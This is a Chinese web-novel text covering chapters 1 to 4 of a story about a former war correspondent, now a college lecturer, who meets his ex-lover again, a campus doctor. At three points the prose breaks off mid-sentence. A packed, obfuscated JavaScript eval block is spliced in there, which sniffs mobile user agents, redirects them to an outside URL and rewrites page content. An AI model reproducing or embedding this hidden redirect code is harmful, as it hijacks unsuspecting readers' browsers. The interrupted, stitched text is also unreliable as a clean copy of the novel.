《断泉融雪》 1. 李老师 李和铮一手拎着沉重的电脑包,一手端着泡着了陈皮西洋参养生茶的保温杯,一瘸一拐地穿行在赶课的学生中间。 北方的寒假结束在还不温暖的时候,寒风依然萧瑟,长走廊的窗外满是尖锐的枯枝。 李和铮虽说是土生土长的本地人,前些年驻扎在非洲和中东,习惯了热带雨林气候的潮湿和热带沙漠气候的干旱,乍然回到会吹季风的寒冬里,只觉得膝盖上的旧伤快被冻成老寒腿。 新闻传播学院也算半个艺术类学院,走廊上来往的学生们各个儿朝气蓬勃,很多人都穿着李和铮看不大懂的新潮服饰,知晓“亚文化”和亲眼见到并理解它之间还有一段距离。 混在这些孩子里,穿一件旧旧的黑色羽绒服、一条洗的发白的牛仔裤的李和铮,实在是格格不入。189的身高扛摄像机的时候很好用,这会儿就显得人高马大不聪明,又因为一条腿瘸,脚步受力不均衡,大头靴厚实的靴底在走廊中咣咣响。 但李和铮实在是无暇顾及这些孩子们林林总总的目光,翻手腕看表,距离打铃还有一分钟,他从走廊这头走到那头,没看到自己应该去的教室,才发现自己少上一层楼。 让一个瘸子狂奔起来不太现实,李和铮只能认命地接受这个事实:32岁了,回母校任职选修课讲师的第一天,迟到了。 真是呆得令人发指。 好在大二的学生们还远远不到“被学业压力搞得很老实”的时候,再加上他这门归属在《国际新闻传播》课程下的《战地报道实务》,是这学期刚开的新课,选修课等于水课等于混学分的道理他还是懂的,何苦与学生们互相为难。 因此,也有几个孩子和他一起在迟到四分钟后一起进教室,学生仰头发现他是老师,格外尴尬地赔笑打招呼说“老师好”,缓解了他一些尴尬。 不尴尬了的李和铮瘸着迈上讲台,把电脑包duang上讲桌,放下杯子,拉开羽绒服的拉链露出里面的黑色圆领毛衣,抬头对上一张张年少且明亮的脸,定了定神,轻轻地舒了口气。 “嗨。”很不老师的开场白,他一只手下意识地抄进牛仔裤的裤兜,习惯性地让有旧伤的腿不受力,身子一歪,站得很是潇洒。 大约是孩子们颇有眼前一亮的感觉,许多人都像小狐獴一样坐直了身。李和铮第一次站上讲台,迎上这种关注,感到那么一捏捏的满足。 他倒是自己知道自己长得还不算赖。他老娘是个混血美人,给了他四分之一雅利安人的血统,比亚裔的轮廓深,眉骨高鼻子挺睫毛长,一双眼珠儿像有病似的发铁灰。皮肤也是,学生时代白得吓人,光看造型,挺受欢迎。 不过在赤道国家待了几年后,他证明了这世界上没有晒不黑的皮肤。高眉骨保护了他眼睛没被流弹碎片炸瞎,卡在上面留了道疤,换了个断眉,有点野。 ——两鬓有早白发、端着保温杯的年轻叔叔再野也野不到哪儿去。 李和铮环视一圈学生,冲他们笑笑,简单做个自我介绍:“我叫李和铮,你们愿意的叫老师,不愿意的叫老李,都可以。咱一周见一面,周周都见面,希望能相处和睦,我不为难你们,你们也别欺负我。” 天呐,这么一个人高马大的男人说这种话,好多人抿嘴偷笑。 有消息灵通的主动举手提问:“老李,听说您原来是战地记者,是真的吗?” 同学们小面积地哗然,李和铮点点头,承认了:“行,你还挺有触角的,以后就业不往娱记方向走吧?” “开玩笑,狗仔多挣钱啊!” 大家哈哈一笑,气氛放松下来,看起来没什么攻击性的年轻叔叔总是受欢迎的,何况“战地记者”四个字的含金量勾起了这群孩子们的兴趣,一个个都巴巴儿地望着他,七嘴八舌地“哇”来“哇”去。 李和铮在这些注视下掏出巨大的电脑,又duang一声,继续掏,掏出来的证件都举起来展示:“我在咱们学校时的学生证,我是老师哥了,我读的时候咱院还只是新闻系。喏,我记者证。还有这个,战区准入许可证,看看。” 这回大家真是沸腾了,谁说这课水了?纷纷身子前倾,老师长老李短的,你一句我一句地,李和铮一个字儿都听不清楚。 他打开电脑,冲他们摊手,笑得很是无奈:“劳驾,哪位帮我接一下这个投屏?” 很快,投屏上放了一个极简的ppt,纯粹的白底黑字,显得战地报道这几个字格外有分量,配上眼前这个真实地进出过战区的记者老师,整个教室里不由地升起一阵肃穆,大家都安静下来。 最闲适的还是李老师本人,他撑着讲桌站,外套脱掉毛衣袖子也撸起来,露出一截肌肉紧实的精壮小臂。小臂比脸白,上面有弹孔圆形疤,也有长长的刀疤增生虬结着,实打实的从枪林弹雨中活着出来的痕迹。 ——坐在第一排的两个男生都不由自主地往后撤了撤身,雄性的圈地排他意识是本能,这会儿都感受到了沉淀过的成熟男性不显山不露水的压迫感。哪怕李和铮看起来再随和,经历说不了谎,气场说不了谎。 李和铮倒是没注意到他们在搞什么,把他简陋的ppt翻到下一页:“这是我这门课主要的教学内容和时间进程,你们自己拍个照吧。我先说好,我这人比较讲公平,做不出捞一个不捞另一个的事,所以谁都不捞。期中考不划重点,我随机出题,期末考也没考试范围,就是一整门。” 孩子们有的暗戳戳交换眼神:水课碰上严师,可严师又帅又牛叉,一时不知是好是坏。 李和铮看看大家差不多都举起手机拍过照了,反手屈指敲了敲讲桌,又给出一个微笑:“实话实说,战地报道这件事,很多东西都不在课本里,也不是在课堂上我能讲清楚的,所以我没订书,你们要做笔记。你们都是新闻生,选题切入、信息采集、情境分析、沟通技巧这些东西你们主课都学都讲,所以我也不会多说——哦,但我会考到。” 这下就很坏了!学生们目瞪口呆。 李和铮对于自己第一次上讲台就能把这些小孩儿麻辣到颇为满意,把ppt翻到下一页,上面是著名的战地摄影作品《饥饿的苏丹》:“这门课,我们就从这个全世界的新闻界、乃至所有会看新闻的人,都没讨论出个所以然的,战地报道的道德困境开始讲——当你面前有一个濒死的小孩,你是该先把她救起来,还是先按下快门?” 换来一片沉默。 很快,这些全媒体时代都习惯上课拍课件顺便玩手机的大学生们,纷纷掏出笔和本,没带的互相借,在翻本撕纸声后,拔下了笔帽。 —————— 教学初体验的李和铮老师讲了个口干舌燥,喝完了一整杯养生茶,只觉得脑顶都冒烟。 他拖着瘸腿下楼,挤在往食堂去的人潮中,叹了口气。 还在环赤道上出生入死的时候,为了最猛烈的战况和最即时的时效,肾上腺素飙升,真是舍生忘死般地扛着相机冲进战区。这会儿全身都是又懒又废的骨头,上一百分钟的课去了半条命。 但不得不说,当老师的成就感和写战地报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679420|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的成就感完全不一样。站在这一方安全的讲台上,既能将自己的所学所用传递出去,做点有用的事,看着后辈踏上他曾走过的路,又——不会出人命。 总体来说,对于已经开始的人生新篇章,李和铮还是非常知足的。 他瘸习惯了,走路不算慢,混在人群中没那么显眼。只是,身为战地记者的敏锐还在他身上,子弹都能躲过的人,自然能注意到两点钟方向有人举起手机偷拍他。 李和铮不在意地看过去,看到两个短头发的女生瞬间收起手机,对视后,有点心虚地朝他龇牙笑。 年轻人精力旺盛是好事,谁不爱聊八卦。学校的论坛在天涯时代就建了,一直有计算机学院的代代相传地维护着,服务器极其强大。他也有号,有一次在刚果盆地里热得发慌,喝不到干净的水,闪起微弱的思乡之情,鬼使神差地尝试着登这个校园内部论坛,竟然还登进去了。 李和铮自认为自己前战地记者的经历有一定的话题度,不用猜也知道,马上就能在论坛里看见自己的大名和相关的帖子,还有对他“不捞人”言论的匿名骂,都是人之常情。 鬼门关里爬回来的人,什么没见过?早变得波澜不惊。 即将成为校园红人的老学长,从容地瘸着站到学生食堂热门窗口的队尾,才想起来自己现在已经老师了,可以去职工食堂吃饭。 算了,懒得走,是饭就行,不在乎环境。说得好像没吃过干净又卫生的手抓饭似的。 只不过,往这人声鼎沸的场景一站,陌生的熟悉感是相似蒙太奇,一张几乎已经模糊了脸在眼前一闪而逝。 李和铮愣了下,旋即反应过来那是谁的脸,提着包自然下垂的手臂肌肉紧了下,又放松。 强共情是天赋也是惩罚,让人能书写,也让人不敢书写。为了确保一篇篇通向全世界的新闻视角不受任何干扰,也为了保护自我不被一桩桩残酷战争中的生离死别击破,别说共情了,李和铮几乎可以说是把自己所有的情感都封闭了。 端着相机在战火中不允许害怕,人类在眼前被炸成碎片不允许哭泣,收到家书时不要过多的想念,还有爱情——遥远的爱情。 李和铮的嘴角勾起了自嘲的弧度,遥远吗,何为遥远。十年弹指一挥间,撕心裂肺的海誓山盟早消散成了尘沙,爱呀恨呀的早都化掉了。 世事变迁不停歇,人心最是易变,时间又不等人,他都——长白头发了。 李老师迅速停止自己的伤春悲秋,小叔叔的年纪太多愁善感容易变油腻,多少还要在年轻人中混,他断然不想成为别人眼里的“中登”。 包沉,单手端着餐盘,人多的时候瘸腿的存在感更明显,李和铮不紧不慢地走着,寻找着空桌子。 他朝门口走,十多米外厚重的门帘一掀,走进来一个很打眼的人。 大冬天的穿了一身白,这天气,穿羊绒大衣肯定冷的吧。李和铮不经意地抬眼看,与那人看起来冷冰冰的无框眼镜下、一双线条柔和的杏眼对了个正着。 李和铮顿在原地,不动了。 过了几秒,或者十几秒,十多米外的骆弥生慢慢放下了一直抓在手中的门帘,给那些投来诧异目光的学生让开路,往前走了两步,不知该作何反应,修长的手指看似镇定地推了推眼镜。 他们对视着,李和铮瞬间扣紧餐盘的指节卸了力,遥远地对着遥远的骆弥生点了点头。 又是几秒或十几秒,在来往的人群注意到有两个人站着发呆之前,骆弥生沉默着,朝李和铮走来。 2. 倒春寒 这十多米的距离,只够李和铮扫一眼旁边的桌子,犹豫是不是应该先把手里的餐盘随便放上去,不然他一手提包,一手端饭,腾不出手来和眼前的人握手。 骆弥生在他身前两步外站定,很安全的社交距离。比他低一个脑门儿的人身姿挺拔,双手抄在白色大衣兜里,隔着一层冷然的镜片,抬眼看他,看不出什么表情。 嗬,这架势。一时间李和铮有些恍惚。 记忆是个很玄的玩意儿,放在那里时以为消失了,一旦触及某些相似的场景,才发觉没忘干净。 骆弥生说是他的校友,也不全是。他是医学部的,招生不是一个行政体系,跟本部也不在一个校区,隔了四公里。 李和铮想起他十多年前,骑二十分钟的车到医学部的某间实验室找骆弥生。他本来穿着白大褂,也是这样,双手抄兜,见他过来了,忙去换衣服,说太脏了,千万别碰住。 思绪至此,李和铮露出个笑来,大方地上下打量打量他,没有寒暄,也没有开场白:“近视了?咋戴眼镜。” 或许是他的姿态自然得有些过了,骆弥生明显一怔,寻常的问题都招架不住,张口后仍顿了顿,才回答:“不是,是远视了。” 声音也熟,可见确实没忘。不过这种特色嗓音也挺难忘的,李和铮想着,又看了看骆弥生。这人长了张线条温柔的脸,嗓子是低音炮。 “老花了啊。”李和铮欠身把餐盘放到了旁边的桌上,“一起吃?” 骆弥生抿起唇,带动着面部线条也绷紧,匆匆点了下头,拔脚往最近的窗口去了。 李和铮便先坐下,拿起筷子后,看着眼前的饭,蓦地不知道怎么下手了,挠了挠眉毛。 ——这突如其来出现的叙旧对象,比他突如其来地决定辞职滚回学校当老师还离谱。 没两分钟,骆弥生端着一盘小炒肉盖饭回来了,在他对面坐下后,正襟危坐。 李和铮看他这样子,越发觉得这一天怪神奇的,他开始当老师的第一天触发了游戏任务,骆弥生是第一个刷新出来的npc,头顶的名称是“尴尬的旧情人”。 “没必要,大夫,”李和铮开口了,调侃地笑,比起他的紧绷,更显得潇洒,“你坐这么直,开会呢?” 骆弥生没动弹,直视着他:“你怎么……?” “新晋李老师。”终于有了合适的握手时机,李和铮在餐桌上冲着骆弥生伸出了手,“你呢?你怎么也在这儿。” 骆弥生垂眼,一眼看到他手心里有一块烫伤的疤痕,握了上去:“比你资深一点,骆老师。” 真稀罕,李和铮一挑眉:“我以为你进医院了。你带什么课?” “我是心理老师。”有了肢体接触,骆弥生的肩膀终于肉眼可见地放松了些,“平时就在校医院里,但主要做心理咨询,全科也都能看,双证。每周排两天心理健康课,一个月一次讲座……快五年了。” 李和铮点点头,饭都有些凉了,才吃到第一口。 骆弥生的声音是一种中低频的震动,在闹哄哄的食堂里依然清晰可闻。 李和铮没有追问他为什么没进医院,那不是旧情人的旧事,而是一位十多年没见的成年男人的私事。 他想起来一些已经模糊掉的信息,逐渐归拢在眼前人身上:骆弥生是本硕连读的,7年制。他比他小不到三岁,他们分手的时候他还在读书。 骆弥生却主动说着他们分开后他的情况:“我毕业后进了三院,规培了一年多,身体吃不消。考了执医后,辞职了。” 李和铮听笑了:“那你挺吃苦的,都要辞职了还苦哈哈地考什么试。” 骆弥生也笑了笑。他一笑像化雪,眉眼柔软,有那么点李和铮久远记忆里的样子了。 “从三院辞职后又参加了学校校医院的考试,考进来了。也算是一直没离开学校。” “还是你厉害。”李和铮没什么形象地端起了餐盘往嘴里扒饭,“我是空降的。” 一错眼,骆弥生还盯着他看,李和铮差点噎住,有些无奈:“你这,显得我像个珍稀动物。你不饿?” 骆弥生忙垂下了眼,动了筷子,机器人似的,被说了就彻底不看了,两个人也没再交谈,拿出食不言寝不语的姿态闷头吃饭。 李和铮驻扎出去的时候饥一顿饱一顿是常事,进战区了能不能活着出来都两说,吃饭自然也养成了急行军的习惯,没五分钟,完成了光盘行动。 骆弥生抬头看他:“你这样子吃饭对胃不好。” “不当大夫了还有职业病?”李和铮摸了摸胃,饱腹感确实是很强烈,“还成吧。” “校医也是医。”骆弥生没什么胃口的样子,挑了挑小炒肉里的青椒吃,就放筷子了。 李和铮看着他剩了那么多肉,心里“啧”一声。从粮食短缺到每隔几天都能看见人饿死的战区回来,越发觉得浪费真他娘的是极大的犯罪,他恨不能直接把他的盘子拽过来把肉打扫完——倒也不至于。 哪有和旧情人久别重逢碰上了就惦记着吃人家剩菜的,成光盘行动推广大使了,又不是疯了。 愣神的瞬间,骆弥生突然起身,把两人的餐盘收在一起,转身去了收餐处。 李和铮:“哎你……” 李老师看着骆大夫那纯白色的背影,发出一声短促的笑,连他自己也觉得意味不明。 没吃几口饭的骆弥生送完了两人的餐盘,又走了回来,还是双手抄兜,站在他旁边等着。 散落在身体各处的记忆,逐渐冲破那些强行封锁的屏障,与骆弥生有关的许多事慢慢复苏在李和铮的脑海中。 他们一站一坐,李和铮又看看这位明显流露出友善讯号的旧情人,想着,他柔和的面相是白长的,实际上有一双淡薄的眼睛。定睛一看,瞧着是个不好说话的老师,他若是从医,也是铁面无私跟患者多一句话都没有的类型。 李和铮吃饱了也缓过劲儿来,浑身懒洋洋的,站起来,准备和骆弥生一起出去。但他觉得他们之间没什么旧事可叙。 他瘸着拐了两步,骆弥生便皱起眉看向他的右腿:“怎么了?” “膝盖炸碎了,差点截肢,换了一个。”李和铮轻描淡写,“也是寸,在刚果金待了三年没受过大伤,去了趟苏门答腊追部落冲突,赶上他们上大家伙事儿。没办法,我这人喜欢原装的,和后换的没磨合好,就成铁拐李了。” 骆弥生脸色很难看,收回目光,艳色的薄唇抿成一条线。 李和铮扫他一眼,心想着到底还是人不如故啊,瞧瞧骆大夫这救死扶伤的心,感动感动。 他们不熟了。他原本也不是贫嘴的人。对自己开玩笑似的唏嘘两句,根本没往心里去。 出了食堂,李和铮停下脚步,再一次主动冲骆弥生伸出手,冠冕堂皇地说起客套话:“老同学。兜兜转转成同事了,也是缘分,我这一回来举目无亲的,以后多多照应。” 说是这么说,李和铮也只是准备和他碰上了打个招呼,碰不上不联系。 骆弥生沉默着,握上了他的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679421|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头又抬眼,欲言又止。 两个大男人手拉手站食堂门口半天成何体统,李和铮手腕一动,骆弥生却没松开他。 李和铮:? “你住哪里?” “我房子租万柳,”李和铮不动声色地抽回了手,“有空来玩儿啊。” 骆弥生点点头,又推推眼镜,手收回兜里。 李和铮转身走了。其实他有点想提一句,这天气还是太冷,穿大衣太单薄,看你手都冻冰了。 着实没什么必要。大家都是思想独立的成年人,过了而立之年,冷暖自知,提醒多了显得婆妈,何况——他们并不是和平分手的。时隔多年乍然相见一派平和是个人修养,再多没有了。 李和铮往西门去,前面有一对小情侣手拉手,迈大步,胳膊甩得老高,看着好不惬意。 人间真好啊,选回学校选对了。年轻叔叔又感慨起来,掏兜摸烟,打火机顺着兜边缘掉出去了。 他不得不僵直着右腿弯腰回身捡,这头一低一抬,眼神朝后,起身后顿住。 遥远的食堂门口,遥远的骆弥生还站着没动,一手在兜里,另一手拿着摘下的眼镜,目送着他的背影。 他们恰好还停在能看清彼此的距离内,再一次对视,李和铮起了一脖子鸡皮疙瘩,这下真是从头尴尬到了脚心。远处的骆弥生明显也愣住了,没料想到他会回头,停滞片刻,戴上眼镜,转身往相反的方向走了。 李和铮站在原地没动,什么都没想,背过风低头给自己点了支烟,长长舒了口气。 —————— 下一次再见到骆弥生,是在开学两周后的全校教职工大会上。 李和铮正饱受时差、水土不服、气候骤变膝盖反复疼的多重侵扰。这些年在外头奔波,他的身体形成了非常微妙的自我保护机制,对外界的变化感知很微弱,对人类生存所需要的基本需求所求甚少,疾风骤雨都不怕,四十度的时候他能趴在近七十度的地面上按快门,补给不足了能和大兵们一起荒野求生,逮住老鼠也吃得下去。 而这种自我保护机制像乞力马扎罗山顶上的积雪一般,顽固,坚实,烈日下甚少消融。他回国一个多月了,他的身体才开始意识到,他已经不在战区了,安全到四处都红星闪闪放光彩,红星灿灿暖胸怀…… 换句话说,过惯了苦日子,一下子回来舒服的人间,他反倒出毛病。简直是贱啊! 睡不好觉是小事,水土不服也就是多上吐下泻几顿,怕冷多穿衣服,都没什么大不了的,主要是腿疼得受不了。 倒春寒来得猛烈,大前天下雨夹雪前,李和铮身上错落的大大小小的疤都在发痒,通知他要变天气,老老实实先戴上了护膝。可那还是不顶用,膝盖疼到睡不着觉,爬起来吞了布洛芬,竟然还痛。赶上第二天还要上课,要不是楼里有电梯,他都不知道怎么迈步。 一般情况下的教职工大会都在开学前召开,今年过年晚,学校也体谅老师们的假期,便没早早把他们叫回来,这下,晚入职的人也被迫赶上。 李和铮与本教研室的老师也没多熟,这会儿裹着大羽绒服,混在往大礼堂去的人群中,拐得太明显了,惹来面生的老师担忧地问:“老师您这是怎么了?” 他不想多说,只是笑着摆手:“嗐,老毛病,没事。” 那老师看他实在走得不利索,迟疑着抬手想扶他。 下一刻,李和铮的右臂被一只手有力地托住,人也被贴住了。 李和铮一顿,偏头看,是骆弥生。 3. 保温杯 隔着镜片,李和铮看到了骆弥生眼底的忧虑,什么都没多想,坦然地分了些重量到他身上:“谢了啊,骆大夫果然大有医德。” 身高有184的骆弥生,在男性群体里不算矮,也有健身的习惯,只是对李和铮这个身量不熟悉了,骤然接住他,往旁边欠了半步,才找准重心。 李和铮被他扶着走,膝盖受力变小,舒服多了,又扫他一眼。 ——今儿是零下的温度还穿羊绒大衣,鼻子都冻红了,真是为了风度不要温度。 但还是那话,他没必要说他。 刚才搭话的老师听见他们的对话,笑了:“现在很少听见有人这么叫骆老师。” 骆弥生接话:“苏老师。” 转脸,冲被他撑着的李和铮介绍:“这位是苏启然老师,教物理的。苏老师,这位是今年刚刚入职的李和铮老……” 苏启然反应过大地拍了下手:“就是您啊!李老师。我听学生们提起过,好几个说想去蹭您的课呢。” 李和铮挑眉,失笑摇头:“我还挺红的,都红到理工科去了?这才几天。” “那可不是吗,”苏启然也笑,本地人的口音总是带着亲切的熟稔,“之前没您的时候,也就骆老师有这个待遇了。” “是吗。”李和铮再次偏头看看骆弥生,五厘米的身高差足够看到他脑顶的那个发旋,“明星校医?” “好多孩子三天两头往校医院跑,骆老师的心理咨询得排期预约,可得等他。”苏启然看他俩肢体语言挺亲近的,不像生人,也不避讳问,“你们俩原来就认识?” “嗯,老朋友了。”李和铮隔着厚厚的羽绒服感受到他贴着的人身上紧了一瞬,又放松。 大约是对这个定义不太满意。也是。他们从不曾是朋友关系,大概率未来也不能算是。 李和铮有点费劲地回想,骆弥生虽然比他小两岁多,但只比他小一届,他大一入学的时候他大二了,他们是在辩论赛上认识的。 新闻系向来在这种比赛上无往不利名列前茅,医学部平时和本部勾连也不深,如果不是那年骆弥生作为对方四辩,以一针见血的言辞和漂亮的脸蛋势如破竹,李和铮的辩论生涯不会有败绩。 也就不会在二十岁之前尝到什么叫初恋。 想到这儿他又笑了。谁年轻的是不见色起意?肤浅的开头配上不肤浅的过程,落个七零八落的结局,也不让人意外。 万幸骆弥生没真的去临床,不然过几年变成了“令人信服的模样”,对不起他这张脸。 不过——那跟他有什么关系呢。 听到他笑了,骆弥生抬头看他,眼神询问。 李和铮摇摇头,调侃:“下次我也预约一个骆大夫的心理咨询,体验一下。” 骆弥生沉默片刻:“你不用预约。” “苏老师可听着呢啊,”李和铮笑着看向苏启然,“您听听,这是要给我走后门儿呢。” 苏启然也跟着他贫:“这世上本没有后门,走多了门就开了。” “师德多儿钱一斤呐。”李和铮懒洋洋地,口音重了点,余光瞟到骆弥生目不斜视,白皙的耳尖红了,旋即反应过来自己说了什么浑话。 ……靠。神特么的走后门。 李和铮闭嘴了。 苏启然断然看不出眼前这对旧情人陷入说者无意听者有心后一起崩溃的境地。也是健谈的人,走后门这词并不中性,带着话题拐到学术腐败上去了,干巴巴说了半天,没得到回应。 苏启然正觉得不对,回头看他们,李和铮已经解冻,顺着他的话聊了下去。 因为聊得挺好,进了礼堂随便坐,三个人坐到了一块儿。 松开骆弥生的手,李和铮一屁股坐下去,靠着椅背,伸长了右腿,终于狠狠松了口气。 他坐中间,方便和苏启然聊。 校长还没来,李和铮准备把他不离身的保温杯放在脚下,还没等欠身,骆弥生无比自然地从他手里接走了,拧开了杯盖,没地方放就手举着,晾水。 在杯口集中升腾的袅袅白雾中,骆弥生垂着眼,一副眼观鼻鼻观心的样子。 李和铮眉心蹙了一瞬便面色如常。这种事儿就是越自然显得越正常,他本打算说“多谢骆大夫”缓解这体贴的小动作带来的微弱不适,话到嘴边咽回去,当无事发生,继续和苏启然侃大山。 心里还是不免想着,这才是他们重逢的第二面。 校长来了,老师们都安静下去。 李和铮依然陷在椅背里,目光平淡地看着主席台上的伟大学者。 在前十年的事业生涯中,比起同龄人,李和铮堪称一骑绝尘,这会儿也人模狗样地当上了人民教师,实际上,上学的时候他便不是个传统意义上的“好学生”,通俗来说,他不大听话。 这份习性在生死有命全凭自己的时候极大程度地保护了他,也导致了他听不进去校规校纪、结课评分标准等等一系列老生常谈的事项。做学生的时候不听,当了老师竟也不听。真是罪过。 礼堂里很暖,但这两天他冻怕了,出了点汗都舍不得脱掉他的破羽绒服。 端着杯子的手递到了他面前。 李和铮心头窜起几分莫名的烦躁,用理智压下去,面上依然保持着体面,接回了水杯。 骆弥生压低了声音:“凉了,可以喝了。” “不了。”李和铮懒散地回应,“太热了,喝完捂一身白毛儿汗。” 骆弥生便要再把水杯接回去。 李和铮:…… 这是干什么呢。 他收了手:“没事,不……哎哟。” 敞口的杯子当然经不住他这么大动作,一股水泼湿了他的外套。 “哎哟!”苏启然跟着喊了一声,立马从兜里掏纸巾,“没烫着吧?” 骆弥生眉头紧锁,已经把纸巾拍在他羽绒服上,一张纸瞬间吸湿了。 李和铮气笑了,索性也不动,让左右两个热心肠儿替他擦根本不可能擦干的衣服。可怜的鸭绒,一会儿非冻成一整块。 几千人的场子这样搞。都三十多的人了。 这算什么? 李和铮看着凑在近处的骆弥生的侧脸,面上没波动,也没外泄的情绪。 他只是不懂。 却不想,听见了台上的校长点他的名。 李和铮心想我去不是吧,我都当老师了还要被校长点名起来批评?老教育家就是眼观六路耳听八方…… 原来是到了介绍今年新入职教师的环节。 李和铮推开了骆弥生的手,站起来,冲周围的老师们挥手致意,礼貌点头。 礼堂里响起热烈的掌声。 啊?怎么就鼓上掌了。 骆弥生也茫然地看了看周围,刚才他们沉浸式救羽绒服,根本没听清前情提要。 前排的老师回过头来,与李和铮对视,听不清,但看懂了他的口型。 哦,说到普利策奖了。 那倒也是。这礼堂里的学术大拿如过江之鲫,但提到新闻界的诺贝尔,还是值得接受这些高知的掌声的。 李和铮写战地报道的笔名叫照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679422|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和。照字取映照、关照……以及拍照的意思。和字既是他自己,又是那个若身在其中时不珍惜、失去后便极难苛求的“和平”。 取笔名时满腔热血无处安放,第一次登上前往战区的航班,他无比笃定,他一定会在全世界都不再有战争、“和平”再不是一个奢侈的词汇时,才放下相机,才停止书写。他会在尚未停歇的战火中燃尽一生,他定能“照”到真正的“和”。 后来才知道所谓梦想不过是年轻气盛时的梦话,所谓生命平等,是指所有生命都平等的像屠宰场里一切能当作盘中餐的东西,消失在他目光所及的任何角落,一并带走了他的幻想与心气。 当了逃兵的人谈什么坚守。锋利的笔杆子早折断了。一篇篇报道只是留存了他的十年,未曾改变过任何事实。 但——努力的李和铮好歹给“照和”拿了个国际新闻上最高的奖回来。 努力写战地报道的照和用一篇《弹孔、信笺与面包香》换来了普利策特写写作奖,也是这个大奖让李和铮有了下半辈子过躺平生活的资本,让他一届火里来雨里去的“有文化的莽夫”破格站上了讲台。 打完招呼李和铮重新坐下,为了不延续和骆弥生的诡异气氛,他开始认真听讲。 校长正在说特殊人才引进一类的。 说今年的几位新老师以李和铮老师为代表,都是在各自领域具备真正的实战经验,这些不可复制的经验太宝贵,能补齐教学经验上的不足,教育从不只在书本里,要让学生们学会去见天地见世界,去思考去敬畏…… 话锋一转,又说,当精神、心理问题成为社会普遍的一种亚健康状态,我们既要平常心对待,又要做十足的准备,加大心理健康培训教育的力度,引导学生科学控制,保护学生的隐私,让他们明白我们不会因为一纸诊断证明就要想办法把他们开除。 今年的目标是吸收更多像骆弥生老师这样拥有双证、大量临床经验的老师进入教学团队…… 听到这儿,李和铮像上课咬耳朵一样地往另一旁倾身,靠近骆弥生:“大量临床经验?你不是就规培了一年?” 骆弥生被他的突然靠近僵住了身,保持着距离,低声回答:“还有硕士阶段。当时我的课题方向是精神病学基础研究,后来转了精神病临床症状分析,实习,规培也是在精神科……” 这门低音炮在这种刻意压低的时候听来别有一番风味,加之刚才扯到几句走后门,有些压箱底的画面片段推开上头压着的东西钻到李和铮眼前。 脑中及时踩刹车,他托腮的手换个角度,挡住了自己的下半张脸。 ……怎么一把年纪了还毛毛躁躁的。李和铮对自己说着,再次重复:这才是你们重逢的第二面。 ——————— 李和铮在非洲大草原上待久了,国外的土壤也不太讲究人情往来,但他对这一套流程烂熟于心:刚刚结识的苏启然老师,相谈甚欢,这会儿散场了,应该一起吃饭;听了他的身份经历,主动过来结识他的几位老师,也应该一起吃饭。 人情嘛。一顿顿饭吃出来的。 骆弥生站在他身边互扫微信的三两人群的外围,双手抄兜,一如既往的挺拔,安静地盯着他说客套话。 于是李和铮明白了:骆弥生是在等他,也想和他一起吃饭。 既如此…… 李和铮勾起嘴角,笑了。 ——那他谁的饭也不吃,回家睡觉去。 骆弥生等了他好一阵,最后看出他的故意为之,紧绷的肩膀慢慢松懈下去,点头致意后,也转身走了。 4. 听诊器 李和铮艰难地从床上爬起来,摇摇晃晃地踩进拖鞋里,想,第一个说出“杀人不过头点地”的是谁?人不能总是觉得“没什么大不了的”。 显然,这里有一个成年男子高估了自己的身体素质。39度的体温告知他,这段时间放任所有不适的症状自由发酵不是什么明智之选。 李和铮烧得脑袋发蒙,看清体温计上的数字,试图保持理智分析,得出不理智的结论:温带季风性气候根本惹不起,我招谁惹谁了。吃不好睡不好还搞不懂应该穿什么衣服,倒显得一个在野外都能活得好好的男人没有自理能力了。 来吧,我的好兄弟,亲爱的布洛芬先生……退烧和停止腿疼一起来。李和铮吃了药,心里絮絮叨叨的,撑着去洗漱。 从教职工大会后,新闻传播学院的教研室深深领悟到校长所说的“特殊人才的价值”,给李和铮重新排了课。调整得很突然,他从一周一天一共一节,变成了一周三天一共五节,多带了两个系。 天知道听到这个安排的时候他有多崩溃,再说一模一样的课程进度每周要讲五遍到底有什么意思?哪会有这么多人需要学怎么写战地报道? 偏偏对上排课主任诚恳的眼神,他说不出拒绝的话。 老实说,李和铮选择回来当老师,真是当自己英年早——退休了。小叔叔的年纪就每天去万泉河边上钓鱼有点过分,多少还是得找个事做,只要一个月的课时费能把房租平回来,他便很满足了。 别人说自己没物欲可能是吹,李和铮是真没有,毕竟他也不可能在热带雨林里穿爱马仕,和斑马攀比自己身上的花纹够不够名贵;在没有粮食的地方,货币只是用来充饥都不好下咽的印花纸。 而李和铮用把生死置之度外换来的一串存款数字,足够他混吃等死……啊不是,足够他从现在开始到安度晚年。他也不打算买车买房什么的,有地儿落脚就行。 